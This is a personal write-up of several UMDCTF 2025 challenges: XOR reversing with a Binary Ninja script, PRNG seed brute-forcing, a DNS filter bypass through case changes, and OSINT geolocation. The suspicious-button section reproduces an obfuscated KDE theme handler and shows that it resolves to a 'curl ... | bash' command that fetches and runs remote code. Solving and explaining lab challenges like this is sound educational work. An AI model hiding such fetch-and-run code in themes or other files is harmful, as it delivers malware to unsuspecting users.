Still following my path of doing more and more CTFs to gain experience and become better over time, I’ve decided to participate at the 2-days online CTF UMDCTF 2025.
Overall it was a very good experience, though filled with some frustrations… Especially that I’ve solved no web challenge at all But, that being said, I’ve learned a lot of things during this CTF, especially to keep persisting - and that sometimes a bit of sleep definitely helps to gather some new ideas the next day. (Also not to go too far in rabbit holes when challenges have lots of solves…) I was not able to work on pwn
challenges as I don’t have lots of knowledge and have a Mac running on ARM, so no GDB because x86 emulation is super slow…
One missing category, in my opinion, was forensics; the misc/suspicious-button
challenge was super fun but lonely.
The reversing challenges of this CTF were quite challenging, I’ve gone a long way into the rev/cmsc351
challenge, but abandoned it when I faced a function that wasn’t following the same pattern as the others… I may try it again post-CTF though as I was quite happy of my progress. Enough introduction, let’s start with the rev/deobfuscation
challenge:
rev/deobfuscation (Binary Ninja Write-up)
This challenge was quite easy to solve. My solver however, is a bit special. As I knew I have no chance in getting into the leaderboard by being alone, I’ve decided to participate in the Binary Ninja Write-up contest. So the solver has an unusual turn, where it reads and edits the binary on the fly in Binary Ninja!
A flag
binary file was given. Opening it up in Binary Ninja already revealed a lot from the decompiled Pseudo C output:

Let’s break it down step by step.
Input Handling
First, the binary reads up to 0x80
bytes of user input and stores it at memory location data_40209c
(in the .bss
section).
00401034 syscall(sys_read {0}, 0, &data_40209c, 0x80);
XOR Obfuscation Loop
Next, the binary processes each input byte by XORing it with a key stored at 0x402034
. The XORed results are stored starting at 0x40211c
:
00401039 while (true)
00401039 {
00401039 char rax_1 = *(int8_t*)((char*)rcx + 0x40209c);
00401041 if (rax_1 == 0xa)
0040103f {
00401041 break;
00401041 }
00401043 rax_1 = (rax_1 ^ *(int8_t*)((char*)rcx + 0x402034));
00401049 *(int8_t*)((char*)rcx + 0x40211c) = rax_1;
0040104f rcx = ((char*)rcx + 1);
0040104f }
Validation Checks
Length Check
After processing the input, the binary ensures the user input length matches 0x34
bytes, flag/password length
00401058 if (rcx == 0x34)
Validation Against Static Data
The binary then validates the processed input against static data located at 0x402000
0040106b while (*(int8_t*)((char*)rcx_1 + " " &57") == *(int8_t*)((char*)rcx_1 + 0x40211c))
00401063 {
0040106d rcx_1 = ((char*)rcx_1 + 1);
00401074 if (rcx_1 >= 0x34)
00401070 {
00401074 break;
00401074 }
00401074 }
Initially confusing in decompiled form due to the string display (" " &57"
), inspecting the disassembly cleared it up:
0040105d 8a8100204000 mov al, byte [rcx+0x402000]
Attack Strategy
So now we have pretty much the entire logic:
- The binary gets the user password
- It expects a length of
0x34
- It performs an XOR operation character by character with the key at
0x402034
- The compares the result with data over at
0x402000
Since XOR is easy to reverse the logic:
then
To solve the challenge, all we need is the static data (data
, at address 0x402000
) and the XOR key (key
, at address 0x402034
). From there, a simple XOR operation will recover the original flag
.
Binary Ninja Scripting
Now this was a bit too easy to code, so I though - Let’s learn something new! Binary Ninja has this amazing scripting feature, so I thought let’s write a small script that solves the challenge and gets the data directly from Binary Ninja, so that I don’t have to do it myself - lazy, yes.
After some time at looking at the documentation I managed to get a pretty decent script working as I wanted
from binaryninja import *
import PySide6
import time
clip = PySide6.QtGui.QGuiApplication.clipboard()
# Get the '.data' section
data_section = bv.get_section_by_name(".data")
# Prepare the new data fields
# The flag and XOR key have the length 0x34, the rest according to the length of the string itself.
data_size = 0x34
write_address_flag = data_section.start
write_address_xor_key = write_address_flag + data_size
write_address_str_enter_password = write_address_xor_key + data_size
write_address_str_correct = write_address_str_enter_password + 0x15
write_address_str_wrong_password = write_address_str_correct + 0x0a
char_array_type = lambda size: Type.array(Type.char(), size)
data_vars = {
write_address_flag: ("flag", char_array_type(data_size)),
write_address_xor_key: ("xor_key", char_array_type(data_size)),
write_address_str_enter_password: ("str_enter_password", char_array_type(0x15)),
write_address_str_correct: ("str_correct", char_array_type(0x0a)),
write_address_str_wrong_password: ("str_wrong_password", char_array_type(0x13)),
}
# Define the new data variables, so that it's prettier in the UI
for addr, (name, array_type) in data_vars.items():
bv.define_data_var(addr, array_type)
var = bv.get_data_var_at(addr)
if var:
var.name = name
# Read from the newly defined data variables
flag_bytes = bv.read(write_address_flag, data_size)
xor_key_bytes = bv.read(write_address_xor_key, data_size)
# Decrypt the password by XORing it with the key
decrypted_flag = []
for i in range(data_size): # We are working with 0x34 bytes of length
decrypted_flag.append(flag_bytes[i] ^ xor_key_bytes[i])
decrypted_string = "".join(chr(byte) for byte in decrypted_flag)
for i in range(data_size):
_ = bv.write(
write_address_flag + i, bytes([decrypted_flag[i]])
) # Write byte by byte and overwrite the expected output with the flag
time.sleep(0.25) # Sleep for 0.5 seconds to make it visually cool in the UI :)
clip.setText(decrypted_string)
log_info(f"[🧩] Decrypted flag: {decrypted_string} (copied to clipboard)")
The script will do everything I’ve mentioned above, but on top of that it will give the data variables proper names and write the flag in the data variable of the expected output of the XOR algorithm with the user password, so at 0x402000
.
Now it’s time for the showcase of how it looks like when running it in Binary Ninja!
And we got the flag, UMDCTF{r3v3R$E-i$_Th3_#B3ST#_4nT!-M@lW@r3_t3chN!Qu3}
!
Now before anyone asks me why I did that script and not just a simple copy paste of the values in the .data
section and then move on. Well it’s simple:
- I wanted to learn something new, Binary Ninja scripting
- Honestly executing that script just looks cool…
- I realized the other challenges were too complex, but I still wanted to have some fun
- Binary Ninja scripting rocks
misc/find the seeds
The following script and output were given:
import random
import time
seed = int(time.time())
random.seed(seed)
plaintext = b"UMDCTF{REDACTED}"
keystream = bytes([random.getrandbits(8) for _ in range(len(plaintext))])
ciphertext = bytes([p ^ k for p, k in zip(plaintext, keystream)])
with open("secret.bin", "wb") as f:
f.write(ciphertext)
00000000: 1047 a8b7 cafc c837 fc9d 71b2 bf29 dd08 .G.....7..q..)..
00000010: 2123 6106 3c0a ff1a f345 cedc 3d30 00e1 !#a.<....E..=0..
00000020: 372b 7+
Looking at the code, it used the time when it ran the script to perform an XOR encryption. Since we know the plaintext must start with UMDCTF
, we can just bruteforce the seed. Here is a solver for this challenge
import random
import time
with open("secret.bin", "rb") as f:
ciphertext = f.read()
# Compute the known data
known_plaintext = b"UMDCTF"
known_keystream = bytes([c ^ p for c, p in zip(ciphertext, known_plaintext)])
# Check over the last week, when solving the first time 3 days was enough
current_time = int(time.time())
time_window = 24 * 60 * 60 * 7
# Bruteforce
for seed in range(current_time - time_window, current_time + 1):
random.seed(seed)
generated_keystream = bytes([random.getrandbits(8) for _ in range(len(ciphertext))])
if generated_keystream.startswith(known_keystream):
print(f"[+] Found seed: {seed}")
plaintext = bytes([c ^ k for c, k in zip(ciphertext, generated_keystream)])
print(f"[+] Plaintext: {plaintext.decode()}")
break
This resulted in:
[+] Found seed: 1745447710
[+] Plaintext: UMDCTF{pseudo_entropy_hidden_seed}
So we also now know the script was executed Wednesday, April 23, 2025 at 10:35:10 PM GMT.
misc/tiktok-ban
This was a DNS related challenge. Given the following filter, the challenge was to bypass it
#!/usr/local/bin/python -u
import subprocess
import sys
import socket
from flag import flag
dns_ip_addr = "127.0.0.1"
dns_port = 25565
subprocess.run(
[
"/app/dnsmasq",
"-x",
"dnsmasq.pid",
"-p",
f"{dns_port}",
"--txt-record",
f"tiktok.com,{flag}",
]
)
size = sys.stdin.buffer.read(4)
size = int.from_bytes(size)
req = sys.stdin.buffer.read(size)
if b"tiktok\x03com" in req:
print(
"Sorry, TikTok isn't available right now. A law banning TikTok has been enacted in the U.S. Unfortunately, that means you can't use TikTok for now. We are fortunate that President Trump has indicated that he will work with us on a solution to reinstate TikTok once he takes office. Please stay tuned!"
)
else:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(req, (dns_ip_addr, dns_port))
resp = sock.recv(1024)
print(resp)
Knowing that DNS is not case-sensitive, bypassing it was as simple as adding, for example, an uppercase T
.
The challenge here was not to find the bypass, but more to find how to send a proper DNS query with Python… After lots of searches and examples on GitHub, I managed to get this solution to work
import socket
import struct
import dns.message
# DNS is not case-sensitive
domain = "Tiktok.com"
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(("challs.umdctf.io", 32300))
dns_query = dns.message.make_query(domain, dns.rdatatype.TXT).to_wire()
s.sendall(struct.pack("!I", len(dns_query)))
s.sendall(dns_query)
print(s.recv(1024))
Which gave the following result back
b"b'\\x80\\xc5\\x85\\x80\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x06Tiktok\\x03com\\x00\\x00\\x10\\x00\\x01\\xc0\\x0c\\x00\\x10\\x00\\x01\\x00\\x00\\x00\\x00\\x00vuUMDCTF{W31C0M3_84CK_4ND_7H4NK5_F0r_Y0Ur_P4713NC3_4ND_5UPP0r7_45_4_r35U17_0F_Pr351D3N7_7rUMP_71K70K_15_84CK_1N_7H3_U5}'\n"
With the flag being UMDCTF{W31C0M3_84CK_4ND_7H4NK5_F0r_Y0Ur_P4713NC3_4ND_5UPP0r7_45_4_r35U17_0F_Pr351D3N7_7rUMP_71K70K_15_84CK_1N_7H3_U5}
.
misc/suspicious-button
We were given a sus KDE theme. Looking at the source it did something weird when it was hovered over the button
onClicked: (mr) => {
sussy.play();
var lx = s.ll[0] + s.ll[s.l(2, 2)] + s.ll[s.l(s.l(2, 2), s.l(2, 2))] + s.ll[321 - 309];
var k = +"",
e = executable;
var f = e[lx];
e = s.q;
var n = [],
sd = 'bu';
n += [];
var l = s.b("UDMctf"),
mm = sd;
e += s.$__ + s.$___;
for (; k < l; k++) {
n += e[l * k % 67];
}
var h = 8,
ff = "{}";
sd += 'rr';
var g = f,
nn = 2;
--h;
var q = s.b(1);
mr = mr[mm + s.su(+[]) + s.su(2) + s.r()];
var qq = function(h, p, r) {
mm += '{';
for (; k < 67; k++) {
h += e[l * k % (s.c(r, p) - mr)]
}
return h;
};
n = qq(n, h, 24);
h = [g, 6, 12, n];
k = s.l([], []);
h[1] = h[0];
h[mr - 1] = mr;
s.p(h[3], s.l, h[1], k);
h = ff;
n = 2;
ff = h;
(r) => {
while (mr - 1) {
r += s.q[mr];
mr--;
}
return r;
}(s.p);
s.p(ff, s.l, () => {}, 0);
}
The functions called were also defined as per
Item {
property var $__: '/21d72pldx|a u t:st.dfocf587/yat bh'
property var $___: '/2pldx|Mopqfa99\\gyat'
property var q: 'clts/acmtifa55d3ao.t s rhp/tiuc.'
property var ll: 'eN+AxblBeKr2c'
function b(sus) {return sus[3]='c'?45:46;}
function c(sus,sus2) {return sus2?c(sus*sus%127,--sus2):sus}
function l($_,_$){return $_+_$;}
function r(){return 'on'}
function p (a,b,c,d) {return c(b(a,d)+d);}
function su(r){return "tlt"[r]}
}
So what I ended up doing was just write one by one the same code in JavaScript and then execute it in my browser console
// First, recreate the functions and properties
const s = {
$__: '/21d72pldx|a u t:st.dfocf587/yat bh',
$___: '/2pldx|Mopqfa99\\gyat',
q: 'clts/acmtifa55d3ao.t s rhp/tiuc.',
ll: 'eN+AxblBeKr2c',
b: function(sus) { return sus[3] === 'c' ? 45 : 46; },
c: function(sus, sus2) {
return sus2 ? this.c(sus * sus % 127, --sus2) : sus;
},
l: function($_, _$) { return $_ + _$; },
r: function() { return 'on'; },
p: function(a, b, c, d) { return c(b(a, d) + d); },
su: function(r) { return "tlt"[r]; }
};
// Simulate the KDE button click
const mr = { button: 1 };
// Mock executable object
const executable = {
exec: function(cmd) {
console.log("exec: ", cmd);
return cmd;
},
// Add other properties accessed in the original code, based on the below lx calculation
eAbK: function(cmd) { return this.exec(cmd); }
};
function onClicked(mr) {
// Calculate lx = "e" + "A" + "b" + "K" = "eAbK"
const lx = s.ll[0] + s.ll[s.l(2, 2)] + s.ll[s.l(s.l(2, 2), s.l(2, 2))] + s.ll[12];
let k = 0;
let e = executable;
const f = e[lx];
e = s.q;
let n = [];
let sd = 'bu';
n += [];
const l = s.b("UDMctf");
let mm = sd;
e += s.$__ + s.$___;
for(; k < l; k++) {
n += e[(l * k) % 67];
}
let h = 8;
let ff = "{}";
sd += 'rr';
const g = f;
let nn = 2;
--h;
const q = s.b(1);
mr = mr[mm + s.su(+[]) + s.su(2) + s.r()];
const qq = function(h, p, r) {
mm += '{';
for(; k < 67; k++) {
const cResult = s.c(r, p);
h += e[(l * k) % (cResult - mr)];
}
return h;
};
n = qq(n, h, 24);
h = [g, 6, 12, n];
k = s.l([], []);
h[1] = h[0];
h[mr - 1] = mr;
s.p(h[3], s.l, h[1], k);
h = ff;
n = 2;
ff = h;
const result = ((r) => {
while(mr - 1) {
r += s.q[mr];
mr--;
}
return r;
})(s.p);
s.p(ff, s.l, () => {}, 0);
}
// Trigger everything
onClicked(mr);
This results in the following command executed
exec: curl https://static.umdctf.io/fc2af155d587d723/payload.txt | bash
The file contained lots of garbage, but, this base64-encoded string
QlpoOTFBWSZTWV6+ejAAABOfgECBgAkNAgYAv+/+CiAASIkG1A0aAeU9MoNCKNGEPQIaDCM0Qeq7JjaChSBUQyjnHBfDcziPcgeyD7qxoCheMPpv/DUmqA4vWAxSYbGoBdFjcXckU4UJBevnowA=
Just decoding it gave nothing, but using it with xxd
gave quite something interesting:
$ echo -n "QlpoOTFBWSZTWV6+ejAAABOfgECBgAkNAgYAv+/+CiAASIkG1A0aAeU9MoNCKNGEPQIaDCM0Qeq7JjaChSBUQyjnHBfDcziPcgeyD7qxoCheMPpv/DUmqA4vWAxSYbGoBdFjcXckU4UJBevnowA=" | base64 -d | xxd
00000000: 425a 6839 3141 5926 5359 5ebe 7a30 0000 BZh91AY&SY^.z0..
00000010: 139f 8040 8180 090d 0206 00bf effe 0a20 ...@...........
00000020: 0048 8906 d40d 1a01 e53d 3283 4228 d184 .H.......=2.B(..
00000030: 3d02 1a0c 2334 41ea bb26 3682 8520 5443 =...#4A..&6.. TC
00000040: 28e7 1c17 c373 388f 7207 b20f bab1 a028 (....s8.r......(
00000050: 5e30 fa6f fc35 26a8 0e2f 580c 5261 b1a8 ^0.o.5&../X.Ra..
00000060: 05d1 6371 7724 5385 0905 ebe7 a300 ..cqw$S.......
42 5a 68
is the magic byte for bz2
compressed data! So let’s pipe it to bunzip2
and we get the following
$ echo -n "QlpoOTFBWSZTWV6+ejAAABOfgECBgAkNAgYAv+/+CiAASIkG1A0aAeU9MoNCKNGEPQIaDCM0Qeq7JjaChSBUQyjnHBfDcziPcgeyD7qxoCheMPpv/DUmqA4vWAxSYbGoBdFjcXckU4UJBevnowA=" | base64 -d | bunzip2
echo 'UMDCTF{kde_global_themes_can_be_quite_sus}' > /tmp/.flag; rm /tmp/.flag
Victory :D
ohioosint/swag-like-ohio

To find the bridge in question, I isolated the reverse image seach to the buildings in the middle. It resulted in me finding quite some positive matches, including some that contained the name of the bridge.

UMDCTF{Putnam Bridge, Marietta, OH 45750, United States}
ohioosint/sunshine

When looking closer at the houses to get their numbers, I’ve found out that a house has the number 356.

Funnily the number was just like the Hillside Haven challenge of Cyber Apocalypse 2025 CTF… Coincidence or not, I don’t know, but I used a technique used by the official writeup of that challenge - which was to search on Google "356" "OH" site:redfin.com
.
One result was promising, although being in a more winterish mood

UMDCTF{356 Hillwood Dr, Akron, OH 44320, USA}
ohioosint/the-master

After failed attempts at looking for the house numbers and using the same old techniques, I’ve decided to shift my focus on this building

It gave instant positive results

Going on the page of Wikimedaia, it gave the information needed to find it on Google Maps and get the flag

UMDCTF{Lore City, OH 43755, United States}
ohioosint/beauty

Here as well, a small reverse search gave the location out, Columbus Ohio

Now it was just about finding the right panorama author and the orientation. Looking at the park and the building the panorama, it is clear we have a view of the United States District Court.

It is now just about finding the right panorama, over the river

UMDCTF{Neil Larimore}